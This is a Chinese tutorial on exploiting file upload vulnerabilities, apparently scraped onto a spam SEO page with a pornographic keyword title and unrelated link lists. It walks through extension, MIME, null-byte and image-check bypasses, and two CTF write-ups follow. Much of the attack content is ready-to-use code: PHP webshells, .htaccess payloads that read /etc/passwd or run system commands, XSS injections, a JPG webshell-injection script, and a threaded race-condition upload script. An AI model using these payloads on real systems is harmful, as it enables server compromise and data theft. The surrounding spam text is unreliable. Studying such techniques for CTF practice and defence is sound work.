中文亚洲精品无码_熟女乱子伦免费_人人超碰人人爱国产_亚洲熟妇女综合网

當前位置: 首頁 > news >正文

上海網(wǎng)站建設(shè)設(shè)計制作寧波seo排名方案優(yōu)化公司

上海網(wǎng)站建設(shè)設(shè)計制作,寧波seo排名方案優(yōu)化公司,小制作圖片,怎么做微信電影網(wǎng)站文章目錄 文件上傳漏洞攻擊方式:0x01繞過前端限制0x02黑名單繞過1.特殊解析后綴繞過2..htaccess解析繞過3.大小寫繞過4.點繞過5.空格繞過6.::$DATA繞過7.配合中間件解析漏洞8.雙后綴名繞過9.短標簽繞過 0x03白名單繞過1.MIME繞過(Content-Type繞過)2.%00截斷3.0x00截…

文章目錄

  • 文件上傳漏洞
  • 攻擊方式:
    • 0x01繞過前端限制
    • 0x02黑名單繞過
      • 1.特殊解析后綴繞過
      • 2..htaccess解析繞過
      • 3.大小寫繞過
      • 4.點繞過
      • 5.空格繞過
      • 6.::$DATA繞過
      • 7.配合中間件解析漏洞
      • 8.雙后綴名繞過
      • 9.短標簽繞過
    • 0x03白名單繞過
      • 1.MIME繞過(Content-Type繞過)
      • 2.%00截斷
      • 3.0x00截斷
      • 4.0x0a截斷
    • 0x04內(nèi)容及其它繞過
      • 1.文件頭檢測繞過
      • 2.二次渲染繞過
      • 3.條件競爭
      • 4.添加大量垃圾字符繞過
      • 5.突破getimagesize
      • 6.突破exif_imagetype
    • 題目練習
        • [FSCTF 2023]加速加速
        • [UUCTF 2022 新生賽]uploadandinject

文件上傳漏洞

原因:
·對于上傳文件的后綴名(擴展名)沒有做較為嚴格的限制
·對于上傳文件的MIMETYPE(用于描述文件的類型的一種表述方法) 沒有做檢查
·權(quán)限上沒有對于上傳的文件目錄設(shè)置不可執(zhí)行權(quán)限,(尤其是對于shebang類型的文件)
·對于web server對于上傳文件或者指定目錄的行為沒有做限制

webshell:指的是以asp 、php 、jsp 、aspx等網(wǎng)頁文件形式存在的一種命令執(zhí)行環(huán)境,也叫后門

攻擊方式:

0x01繞過前端限制

當表單中調(diào)用js函數(shù)來檢查上傳文件拓展名時,客戶端還沒向服務器發(fā)送任何消息,就對本地文件進行檢測判斷是否是可以上傳的類型,這種方法就是前端限制。

繞過方法:
1.F12修改js上傳方法或通過改包工具修改上傳(如bp)
2.如果是js腳本檢測,F12->F1 禁用js即可繞過

0x02黑名單繞過

1.特殊解析后綴繞過

語言默認可解析后綴盲猜繞過可解析后綴
asp.net【IIS】asp,aspx,asa,asax,ascx,ashx,asmx,cer,aSp,aSpx,aSa,aSax,aScx,aShx,aSmx,cEr
php.php .html .htm 【apache】php,php5,php4,php3,php2,pHp,pHp5,pHp4,pHp3,pHp2,html,htm,phtml,pht,Html,Htm,pHtml
jsp*.jsp *.jspx 【tomcat】jsp,jspa,jspx,jsw,jsv,jspf,jtml,jSp,jSpx,jSpa,jSw,jSv,jSpf,jHtml

2…h(huán)taccess解析繞過

.htaccess文件(分布式配置文件):提供針對目錄改變配置的方法。即在特定的文檔目錄放置一個包含指令的文件,以此作用于目錄及其子目錄
利用方式:
1.文件解析

<FileMatch "shell.jpg"> //將目錄下的shell.jpg圖片當作php腳本解析并執(zhí)行
SetHandler application/x-httpd-php
</FileMatch>或者
AddType application/x-httpd-php .aaa //上傳.aaa后綴文件,讓其作為php類型文件并解析

2.文件包含
在本地文件包含中可以通過php_value來設(shè)置auto_prepend_file或auto_append_file包含一些敏感文件
例:

auto_prepend_file
php_value auto_prepend_file /etc/passwdauto_append_file
php_value auto_append_file /etc/passwd
例題payload:
?filename=.htaccess&content=php_value%20auto_prepend_fil%5C%0Ae%20.htaccess%0A%23%3C%3Fphp%20system('cat%20/f*')%3B%3F%3E%5C

3.源碼泄露
利用php_flag將engine設(shè)置為0,在本目錄和子目錄中關(guān)閉php解析,造成源碼泄露 php_flag engine 0
4.代碼執(zhí)行
利用偽協(xié)議 all_url_fopen 、all_url_include為On 解析.htaccess

(1)
php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==
#php_value auto_append_file data://text/plain,%3C%3Fphp+phpinfo%28%29%3B
(2.1)
php_value auto_append_file .htaccess
#<?php phpinfo();
(2.2)
這種適合同目錄或子目錄沒有 php 文件。
需要先設(shè)置允許可訪問 .htaccess 文件Files ~ "^.ht">Require all grantedOrder allow,denyAllow from all
</Files>
將 .htaccess指定當做 php文件處理SetHandler application/x-httpd-php
# <?php phpinfo(); ?>

5.命令執(zhí)行

CGI

6.XSS

利用highlight_file

.htaccess
php_value highlight.comment '"><script>alert(1);</script>'index.php
<?php
highlight_file(__FILE__);
// comment
其中的 highlight.comment 也可以換成如下其他選項
index.php :
<?php
include('foo');#foo報錯
.htaccess
php_flag display_errors 1
php_flag html_errors 1
php_value docref_root "'><script>alert(1);</script>"

7.自定義錯誤文件

error.php
<?php include('shell');#報錯頁面.htaccess
php_value error_log /tmp/www/html/shell.php 
php_value include_path "<?php phpinfo(); __halt_compiler();"訪問 error.php,會報錯并記錄在 shell.php 文件中因為會經(jīng)過 html 編碼,所以需要 UTF-7 來繞過。.htaccess# 第一次
php_value error_log /tmp/shell #定義錯誤路徑
#---- "<?php phpinfo(); __halt_compiler();" in UTF-7:
php_value include_path "+ADw?php phpinfo()+ADs +AF8AXw-halt+AF8-compiler()+ADs"# 第二次
php_value include_path "/tmp" #將include()的默認路徑改變
php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"

3.大小寫繞過

由于黑名單過濾不全,未對后綴名大小寫進行統(tǒng)一

4.點繞過

·windows系統(tǒng)下,文件后綴名最后一個點會被自動去除
·linux系統(tǒng)下,文化后綴名最后一個點不會被自動去除
所以在windows系統(tǒng)下利用bp截斷http請求,在上傳文件后綴后加.繞過上傳
例如: demo.php.

5.空格繞過

·windows系統(tǒng)下,對于文件名【demo.php(空格)】會被當作空處理,檢測代碼不能自動刪除空格,從而繞過黑名單。文件上傳后,會自動刪除空格

6.::$DATA繞過

·windows系統(tǒng)下,上傳的文件名為a.php::$DATA 會在服務器上生成一個a.php文件,其中內(nèi)容與上傳的的內(nèi)容相同并被解析

7.配合中間件解析漏洞

8.雙后綴名繞過

過濾代碼對文件名稱進行敏感字符清除時使用

9.短標簽繞過

<script language="php">phpinfo();</script>    #phpinfo()可以替換成想要執(zhí)行的代碼

0x03白名單繞過

1.MIME繞過(Content-Type繞過)

通過抓包,修改Content-Type類型為指定類型
在這里插入圖片描述

也可以使用短標簽,然后訪問對應路徑
GIF89a?<?= `cat /f*`;?>
為了節(jié)約長度也可以使用BM
BM<?=tac /f*;

2.%00截斷

%00跟隨url發(fā)送到服務器后被解碼,這時還沒傳到驗證函數(shù),即驗證函數(shù)接收到的是**%00被解碼后的內(nèi)容

**%00  ->0x00**

原理:

無論是0x00還是%00最終都會被解析成chr(0)  而0對于的字符是NULL,即空字符
當一個字符串中存在空字符時,空字符后面的字符會被丟棄
例如:文件1.php.jpg插入空字符變成1.php0x00.jpg,解析之后只剩1.php

%00截斷只能繞過前端校驗,有時%00會被檔子字符串,可以通過對%00進行url編碼或者用bp將hex的值修改為00
%00可以截斷后端路徑

3.0x00截斷

0x00表示ascii碼為0的字符,一些函數(shù)處理時,會把這個字符作為結(jié)束符,且這個00是文件十六進制中的00而不是文件名的00

4.0x0a截斷

0x0a表示ascii碼為/n的換行字符

0x04內(nèi)容及其它繞過

1.文件頭檢測繞過

1.將馬寫入txt文件中,改為png后綴,然后用010在文件前面加上對應的圖片頭。
2.或Bp抓包,然后修改文件后綴
3.或

## ma.png 為要上傳的圖片【必須加/b】;
## 1.php 為一句話木馬【必須加/a】;
## new 為重新定義的文件名;
copy ma.png/b+1.php/a new.png

2.二次渲染繞過

gif

渲染前后的兩張 GIF,沒有發(fā)生變化的數(shù)據(jù)塊部分直接插入 Webshell 即可

在這里插入圖片描述

png

PNG 沒有 GIF 那么簡單,需要將數(shù)據(jù)寫入到 PLTE 數(shù)據(jù)塊 或者 IDAT 數(shù)據(jù)塊

在這里插入圖片描述

jpg

JPG 需要使用腳本將數(shù)據(jù)插入到特定的數(shù)據(jù)塊,而且可能會不成功,所以需要多次嘗試 
<?php/*The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().It is necessary that the size and quality of the initial image are the same as those of the processed image.1) Upload an arbitrary image via secured files upload script2) Save the processed image and launch:jpg_payload.php <jpg_name.jpg>In case of successful injection you will get a specially crafted image, which should be uploaded again.Since the most straightforward injection method is used, the following problems can occur:1) After the second processing the injected data may become partially corrupted.2) The jpg_payload.php script outputs "Something's wrong".If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.Sergey Bobrov @Black2Fan.See also:https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/*/$miniPayload = "<?=phpinfo();?>";if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {die('php-gd is not installed');}if(!isset($argv[1])) {die('php jpg_payload.php <jpg_name.jpg>');}set_error_handler("custom_error_handler");for($pad = 0; $pad < 1024; $pad++) {$nullbytePayloadSize = $pad;$dis = new DataInputStream($argv[1]);$outStream = file_get_contents($argv[1]);$extraBytes = 0;$correctImage = TRUE;if($dis->readShort() != 0xFFD8) {die('Incorrect SOI marker');}while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {$marker = $dis->readByte();$size = $dis->readShort() - 2;$dis->skip($size);if($marker === 0xDA) {$startPos = $dis->seek();$outStreamTmp = substr($outStream, 0, $startPos) . $miniPayload . str_repeat("\0",$nullbytePayloadSize) . substr($outStream, $startPos);checkImage('_'.$argv[1], $outStreamTmp, TRUE);if($extraBytes !== 0) {while((!$dis->eof())) {if($dis->readByte() === 0xFF) {if($dis->readByte !== 0x00) {break;}}}$stopPos = $dis->seek() - 2;$imageStreamSize = $stopPos - $startPos;$outStream = substr($outStream, 0, $startPos) . $miniPayload . substr(str_repeat("\0",$nullbytePayloadSize).substr($outStream, $startPos, $imageStreamSize),0,$nullbytePayloadSize+$imageStreamSize-$extraBytes) . substr($outStream, $stopPos);} elseif($correctImage) {$outStream = $outStreamTmp;} else {break;}if(checkImage('payload_'.$argv[1], $outStream)) {die('Success!');} else {break;}}}}unlink('payload_'.$argv[1]);die('Something\'s wrong');function checkImage($filename, $data, $unlink = FALSE) {global $correctImage;file_put_contents($filename, $data);$correctImage = TRUE;imagecreatefromjpeg($filename);if($unlink)unlink($filename);return $correctImage;}function custom_error_handler($errno, $errstr, $errfile, $errline) {global $extraBytes, $correctImage;$correctImage = FALSE;if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {if(isset($m[1])) {$extraBytes = (int)$m[1];}}}class DataInputStream {private $binData;private $order;private $size;public function __construct($filename, $order = false, $fromString = false) {$this->binData = '';$this->order = $order;if(!$fromString) {if(!file_exists($filename) || !is_file($filename))die('File not exists ['.$filename.']');$this->binData = file_get_contents($filename);} else {$this->binData = $filename;}$this->size = strlen($this->binData);}public function seek() {return ($this->size - strlen($this->binData));}public function skip($skip) {$this->binData = substr($this->binData, $skip);}public function readByte() {if($this->eof()) {die('End Of File');}$byte = substr($this->binData, 0, 1);$this->binData = substr($this->binData, 1);return ord($byte);}public function readShort() {if(strlen($this->binData) < 2) {die('End Of File');}$short = substr($this->binData, 0, 2);$this->binData = substr($this->binData, 2);if($this->order) {$short = (ord($short[1]) << 8) + ord($short[0]);} else {$short = (ord($short[0]) << 8) + ord($short[1]);}return $short;}public function eof() {return !$this->binData||(strlen($this->binData) === 0);}}
?>

用法:php payload.php a.jpg

3.條件競爭

以一個木馬文件上傳的實驗為例

$is_upload = false;
$msg = null;if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_name = $_FILES['upload_file']['name'];$temp_file = $_FILES['upload_file']['tmp_name'];$file_ext = substr($file_name,strrpos($file_name,".")+1);$upload_file = UPLOAD_PATH . '/' . $file_name;if(move_uploaded_file($temp_file, $upload_file)){if(in_array($file_ext,$ext_arr)){$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;rename($upload_file, $img_path);$is_upload = true;}else{$msg = "只允許上傳.jpg|.png|.gif類型文件!";unlink($upload_file);}}else{$msg = '上傳出錯!';}
}

白名單判斷是否為jpg、png、gif的一種,如果不是則會進行unlink刪除操作。這里可以利用條件競爭在判斷白名單和unlink操作之間上串木馬。

先將php語句寫入shell.php中

aaa<?php fputs(fopen("rv1nm4.php","w"), '<?ph ·eval($_POST[rv1nm4]);?>');?>

fopen()作用是打開一個名為rv1nm4.php文件,如果沒有則創(chuàng)建該文件,第二個參數(shù)w表示以寫入模式打開文件

fputs()將字符串寫入到打開的文件中。并且包含一些特殊字符,如 <? · ; ?>

shell.php執(zhí)行后新建rv1nm4.php文件并寫入一句話木馬,作用是當上傳的shell.php文件被刪除后,后端還會存在r1nm4.php后門,方便連接.

接下來抓取上傳shell.php的包,發(fā)送到intruder模塊,配置相關(guān)payloads,選擇Null payloads并勾選無限重放(最好設(shè)置多線程,增加條件競爭成功的可能性),之后就是自動重放的過程

編寫腳本檢測條件競爭是否成功

url="http://127.0.0.1/upload-labs/upload/shell.php"
while True:html=requests.get(url)if html.status_code==200:print("YES,you upload it")else:print("NO")

4.添加大量垃圾字符繞過

例如:BuildCTF ez_waf

可以上傳php 但是檢測文件內(nèi)容
利用大文件(增加臟數(shù)據(jù),使得溢出)
在這里插入圖片描述

在這里插入圖片描述

5.突破getimagesize

6.突破exif_imagetype

題目練習

[FSCTF 2023]加速加速

直接通過腳本

# coding:utf-8
import requests
from concurrent.futures import ThreadPoolExecutor
def td(list):url = 'http://node4.anna.nssctf.cn:28352/index.php'files = {'upload_file': ('puu.php',"<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]);?>' ); ?>")}data = {'submit': '上傳'}r = requests.post(url=url, data=data, files=files)re = requests.get('http://node4.anna.nssctf.cn:28352/upload/puu.php')if re.status_code == 200:print('上傳成功')
if __name__ == '__main__':with ThreadPoolExecutor(50) as p:p.map(td, range(2000))

然后訪問shell.php,傳參執(zhí)行命令即可

[UUCTF 2022 新生賽]uploadandinject

考點:LD_PRELOAD劫持
LD_PRELOAD劫持

LD_PRELOAD允許你定義在程序運行前優(yōu)先加載的動態(tài)鏈接庫,那么我們便可以在自己定義的動態(tài)鏈接庫中裝入惡意函數(shù).
image-20240829204848934

提示看hint.php
內(nèi)容:nothing here,but I think you look look JPG,index's swp
提示我們看swp文件(Linux vim產(chǎn)生的文件)

http://node5.anna.nssctf.cn:28853/.index.php.swp下載.index.php.swp,
直接打開發(fā)現(xiàn)內(nèi)容破損,使用vim恢復文件vim -r index.php.swp
內(nèi)容如下:

$PATH=$_GET["image_path"];
if((!isset($PATH))){$PATH="upload/1.jpg";
}
echo "<div align='center'>";
loadimg($PATH);
echo "</div>";
function loadimg($img_path){if(file_exists($img_path)){//設(shè)置環(huán)境變量的值 添加 setting 到服務器環(huán)境變量。 環(huán)境變量僅存活于當前請求期間。 在請求結(jié)束時環(huán)境會恢復到初始狀態(tài) 設(shè)置.so  LD_PRELOAD設(shè)置的優(yōu)先加載動態(tài)鏈接庫 putenv("LD_PRELOAD=/var/www/html/$img_path");system("echo Success to load");echo "<br><img src=$img_path>";}else{system("echo Failed to load ");}
}

可以上傳文件

http://www.risenshineclean.com/news/34456.html

相關(guān)文章:

  • 國內(nèi)出名的設(shè)計網(wǎng)站有哪些免費網(wǎng)站制作軟件平臺
  • 好姑娘中文在線觀看國語高清免費深圳白帽優(yōu)化
  • 廈門網(wǎng)站建設(shè)哪家好百度一級代理商
  • 房地產(chǎn)網(wǎng)站大全東莞日增感染人數(shù)超25萬
  • 青島專業(yè)網(wǎng)站制作團隊肇慶百度快照優(yōu)化
  • 做宣傳圖冊在什么網(wǎng)站外國黃岡網(wǎng)站推廣平臺
  • 做潤滑油網(wǎng)站圖片直播回放老卡怎么回事
  • 做網(wǎng)站的屬于什么崗位網(wǎng)上推廣賺錢方法
  • wordpress 推薦環(huán)境關(guān)鍵詞seo排名優(yōu)化
  • 自適應網(wǎng)站 seo怎么做濟南網(wǎng)站建設(shè)老威
  • 杭州網(wǎng)站建設(shè)咨詢藍韻網(wǎng)絡長尾關(guān)鍵詞挖掘站長工具
  • 中學生制作的網(wǎng)站網(wǎng)絡運營
  • 做網(wǎng)站需要基礎(chǔ)嗎互聯(lián)網(wǎng)營銷師培訓內(nèi)容
  • 品牌設(shè)計網(wǎng)站怎樣推廣自己的廣告
  • 網(wǎng)站策劃書最后一步怎么做采集站seo提高收錄
  • 寧夏銀川網(wǎng)站建設(shè)游戲app拉新平臺
  • 怎么做網(wǎng)站賺錢廣告營銷案例分析
  • wordpress openbox主題山東服務好的seo
  • 做彩票網(wǎng)站要什么接口互聯(lián)網(wǎng)推廣與營銷
  • 平面設(shè)計專用網(wǎng)站臨安網(wǎng)站seo
  • 內(nèi)力網(wǎng)站建設(shè)公司宣傳軟文
  • 做網(wǎng)站頁面的軟件海淀區(qū)seo搜索引擎
  • 網(wǎng)站建設(shè)常用英語網(wǎng)店運營
  • 中山做外貿(mào)網(wǎng)站建設(shè)百度小說排行榜完本
  • 做誘惑類cpa網(wǎng)站經(jīng)驗百度賬號注冊平臺
  • xp做的網(wǎng)站有連接限制seo優(yōu)化網(wǎng)站技術(shù)排名百度推廣
  • 沒有注冊公司怎么做網(wǎng)站性價比高seo排名
  • 無錫公司網(wǎng)站建設(shè)電話百度做網(wǎng)站需要多少錢
  • 濰坊市網(wǎng)站建設(shè)公司西部數(shù)碼域名注冊官網(wǎng)
  • 網(wǎng)站優(yōu)化推廣怎么做電商營銷策劃方案